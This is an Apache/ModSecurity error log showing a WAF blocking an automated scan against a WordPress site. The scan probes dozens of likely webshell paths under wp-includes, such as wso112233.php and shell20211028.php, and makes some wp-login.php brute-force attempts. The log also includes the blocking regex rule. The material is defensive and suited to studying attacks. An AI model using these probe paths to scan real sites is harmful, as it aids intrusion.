[Sat Nov 22 07:02:41.011361 2025] [:error] [pid 9547:tid 9565] [client 31.171.130.58:28579] [client 31.171.130.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aSDvkdClOR5qk7DoMeGocgAAAUw"]
[Sat Nov 22 07:02:46.198617 2025] [proxy_fcgi:error] [pid 53477:tid 53490] [client 31.171.130.84:34687] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:02:47.190820 2025] [:error] [pid 53477:tid 53492] [client 31.171.130.84:34687] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aSDvl37Lu30Ku9O40aIJAwAAAAs"]
[Sat Nov 22 07:02:50.620752 2025] [:error] [pid 53478:tid 53518] [client 31.171.130.101:20959] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aSDvmghUYdXBbQswAdRCPAAAAEk"]
[Sat Nov 22 07:02:55.995368 2025] [proxy_fcgi:error] [pid 53566:tid 53573] [client 31.171.130.54:50257] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:02:56.494911 2025] [:error] [pid 53566:tid 53574] [client 31.171.130.54:50257] [client 31.171.130.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aSDvoMbSHDBkRbwMbd5qBgAAAMY"]
[Sat Nov 22 07:02:57.451968 2025] [proxy_fcgi:error] [pid 53478:tid 53530] [client 31.171.130.105:30217] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:03:01.683989 2025] [:error] [pid 53478:tid 53516] [client 31.171.130.105:30217] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSDvpQhUYdXBbQswAdRCXgAAAEc"]
[Sat Nov 22 07:03:06.369105 2025] [:error] [pid 53478:tid 53531] [client 31.171.130.86:31531] [client 31.171.130.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aSDvqghUYdXBbQswAdRCZwAAAFY"]
[Sat Nov 22 07:03:12.912087 2025] [:error] [pid 53477:tid 53489] [client 31.171.130.69:31649] [client 31.171.130.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.69, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aSDvsH7Lu30Ku9O40aIJRwAAAAg"]
[Sat Nov 22 07:03:13.406937 2025] [:error] [pid 53477:tid 53483] [client 31.171.130.69:31649] [client 31.171.130.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.69, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSDvsX7Lu30Ku9O40aIJSAAAAAI"]
[Sat Nov 22 07:03:13.899852 2025] [:error] [pid 53477:tid 53492] [client 31.171.130.69:31649] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aSDvsX7Lu30Ku9O40aIJSgAAAAs"]
[Sat Nov 22 07:03:18.675959 2025] [:error] [pid 53478:tid 53521] [client 31.171.130.77:32183] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSDvtghUYdXBbQswAdRCdQAAAEw"]
[Sat Nov 22 07:03:21.573769 2025] [:error] [pid 53477:tid 53482] [client 31.171.130.77:65381] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSDvuX7Lu30Ku9O40aIJUgAAAAE"]
[Sat Nov 22 07:03:24.484239 2025] [proxy_fcgi:error] [pid 53566:tid 53588] [client 31.171.130.65:20167] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:03:26.577002 2025] [proxy_fcgi:error] [pid 53566:tid 53583] [client 31.171.130.65:20167] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:03:28.074446 2025] [:error] [pid 53566:tid 53587] [client 31.171.130.65:20167] [client 31.171.130.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSDvwMbSHDBkRbwMbd5qJAAAANM"]
[Sat Nov 22 07:03:29.043577 2025] [:error] [pid 9547:tid 9555] [client 31.171.130.95:22967] [client 31.171.130.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aSDvwdClOR5qk7DoMeGougAAAUI"]
[Sat Nov 22 07:03:32.016218 2025] [:error] [pid 53477:tid 53486] [client 31.171.130.75:22585] [client 31.171.130.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.75, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aSDvxH7Lu30Ku9O40aIJWwAAAAU"]
[Sat Nov 22 07:03:33.897616 2025] [:error] [pid 53477:tid 53482] [client 31.171.130.75:22585] [client 31.171.130.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aSDvxX7Lu30Ku9O40aIJYQAAAAE"]
[Sat Nov 22 07:03:35.295767 2025] [:error] [pid 53479:tid 53541] [client 31.171.130.85:59997] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aSDvx26cicFF3Aas-oSjQAAAAIU"]
[Sat Nov 22 07:03:36.236676 2025] [:error] [pid 9547:tid 9570] [client 31.171.130.99:59575] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSDvyNClOR5qk7DoMeGovQAAAVE"]
[Sat Nov 22 07:03:37.699898 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.93:45277] [client 31.171.130.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSDvydClOR5qk7DoMeGowwAAAUg"]
[Sat Nov 22 07:03:40.921907 2025] [proxy_fcgi:error] [pid 9547:tid 9570] [client 31.171.130.63:59553] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:03:41.889652 2025] [:error] [pid 9547:tid 9572] [client 31.171.130.63:59553] [client 31.171.130.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aSDvzdClOR5qk7DoMeGozwAAAVM"]
[Sat Nov 22 07:03:43.305130 2025] [proxy_fcgi:error] [pid 53566:tid 53575] [client 31.171.130.70:61637] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:03:49.488790 2025] [:error] [pid 53566:tid 53589] [client 31.171.130.70:61637] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aSDv1cbSHDBkRbwMbd5qOgAAANU"]
[Sat Nov 22 07:03:55.317736 2025] [:error] [pid 9547:tid 9569] [client 31.171.130.64:44223] [client 31.171.130.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aSDv29ClOR5qk7DoMeGo4QAAAVA"]
[Sat Nov 22 07:04:01.027018 2025] [:error] [pid 53477:tid 53487] [client 31.171.130.61:23019] [client 31.171.130.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSDv4X7Lu30Ku9O40aIJcQAAAAY"]
[Sat Nov 22 07:04:02.409493 2025] [:error] [pid 53477:tid 53491] [client 31.171.130.62:41569] [client 31.171.130.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aSDv4n7Lu30Ku9O40aIJcwAAAAo"]
[Sat Nov 22 07:04:06.895676 2025] [:error] [pid 9547:tid 9568] [client 31.171.130.83:59929] [client 31.171.130.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aSDv5tClOR5qk7DoMeGo9AAAAU8"]
[Sat Nov 22 07:04:08.063591 2025] [:error] [pid 53566:tid 53572] [client 31.171.130.102:51629] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSDv6MbSHDBkRbwMbd5qQgAAAMQ"]
[Sat Nov 22 07:04:12.168056 2025] [:error] [pid 53479:tid 53536] [client 31.171.130.88:63589] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aSDv7G6cicFF3Aas-oSjXAAAAIA"]
[Sat Nov 22 07:04:30.947030 2025] [proxy_fcgi:error] [pid 25856:tid 25860] [client 31.171.130.80:54017] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:04:31.910131 2025] [:error] [pid 25856:tid 25882] [client 31.171.130.80:54017] [client 31.171.130.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSDv_xsTP0wy94zKUvHrVAAAARg"]
[Sat Nov 22 07:04:38.416392 2025] [:error] [pid 9547:tid 9575] [client 31.171.130.72:29957] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aSDwBtClOR5qk7DoMeGpDQAAAVY"]
[Sat Nov 22 07:04:47.617900 2025] [:error] [pid 53479:tid 53543] [client 31.171.130.82:44027] [client 31.171.130.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aSDwD26cicFF3Aas-oSjdgAAAIc"]
[Sat Nov 22 07:04:48.524457 2025] [:error] [pid 9547:tid 9555] [client 31.171.130.68:20935] [client 31.171.130.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aSDwENClOR5qk7DoMeGpEgAAAUI"]
[Sat Nov 22 07:04:52.887162 2025] [:error] [pid 25856:tid 25862] [client 31.171.130.92:35435] [client 31.171.130.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aSDwFBsTP0wy94zKUvHrfQAAAQQ"]
[Sat Nov 22 07:04:54.315012 2025] [:error] [pid 25856:tid 25867] [client 31.171.130.73:44851] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aSDwFhsTP0wy94zKUvHrhAAAAQk"]
[Sat Nov 22 07:05:02.641207 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.76:37211] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aSDwHtClOR5qk7DoMeGpTgAAAUg"]
[Sat Nov 22 07:05:04.628305 2025] [:error] [pid 9547:tid 9559] [client 31.171.130.58:49973] [client 31.171.130.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aSDwINClOR5qk7DoMeGpTwAAAUY"]
[Sat Nov 22 07:05:07.119108 2025] [:error] [pid 53477:tid 53492] [client 31.171.130.65:29441] [client 31.171.130.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aSDwI37Lu30Ku9O40aIJnAAAAAs"]
[Sat Nov 22 07:05:08.984628 2025] [:error] [pid 53479:tid 53559] [client 31.171.130.70:59171] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aSDwJG6cicFF3Aas-oSjhQAAAJc"]
[Sat Nov 22 07:05:09.948132 2025] [:error] [pid 53566:tid 53578] [client 31.171.130.73:50583] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aSDwJcbSHDBkRbwMbd5qawAAAMo"]
[Sat Nov 22 07:05:11.886434 2025] [:error] [pid 53477:tid 53499] [client 31.171.130.59:38437] [client 31.171.130.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.59, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/images/wp-login.php"] [unique_id "aSDwJ37Lu30Ku9O40aIJpwAAABI"]
[Sat Nov 22 07:05:15.097078 2025] [:error] [pid 53477:tid 53484] [client 31.171.130.59:38437] [client 31.171.130.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aSDwK37Lu30Ku9O40aIJtAAAAAM"]
[Sat Nov 22 07:05:18.800513 2025] [:error] [pid 9547:tid 9576] [client 31.171.130.77:50865] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aSDwLtClOR5qk7DoMeGpWwAAAVc"]
[Sat Nov 22 07:05:19.763340 2025] [:error] [pid 53478:tid 53524] [client 31.171.130.101:58381] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aSDwLwhUYdXBbQswAdRC1AAAAE8"]
[Sat Nov 22 07:05:20.748755 2025] [proxy_fcgi:error] [pid 9547:tid 9568] [client 31.171.130.65:37335] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:05:21.220049 2025] [:error] [pid 9547:tid 9560] [client 31.171.130.65:37335] [client 31.171.130.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.65, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aSDwMdClOR5qk7DoMeGpXwAAAUc"]
[Sat Nov 22 07:05:22.877302 2025] [:error] [pid 9547:tid 9570] [client 31.171.130.65:37335] [client 31.171.130.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aSDwMtClOR5qk7DoMeGpZAAAAVE"]
[Sat Nov 22 07:05:25.671313 2025] [:error] [pid 53478:tid 53533] [client 31.171.130.53:53499] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aSDwNQhUYdXBbQswAdRC3gAAAFg"]
[Sat Nov 22 07:05:49.931026 2025] [:error] [pid 53566:tid 53577] [client 31.171.130.79:38431] [client 31.171.130.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.79, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSDwTcbSHDBkRbwMbd5qwwAAAMk"]
[Sat Nov 22 07:05:51.874729 2025] [:error] [pid 53566:tid 53570] [client 31.171.130.79:38431] [client 31.171.130.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.79, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aSDwT8bSHDBkRbwMbd5qyAAAAMI"]
[Sat Nov 22 07:05:53.491131 2025] [:error] [pid 53566:tid 53575] [client 31.171.130.79:38431] [client 31.171.130.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aSDwUcbSHDBkRbwMbd5qzQAAAMc"]
[Sat Nov 22 07:05:54.610536 2025] [:error] [pid 53478:tid 53532] [client 31.171.130.104:55997] [client 31.171.130.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aSDwUghUYdXBbQswAdRC7gAAAFc"]
[Sat Nov 22 07:05:55.553061 2025] [:error] [pid 53566:tid 53571] [client 31.171.130.85:36467] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSDwU8bSHDBkRbwMbd5qzwAAAMM"]
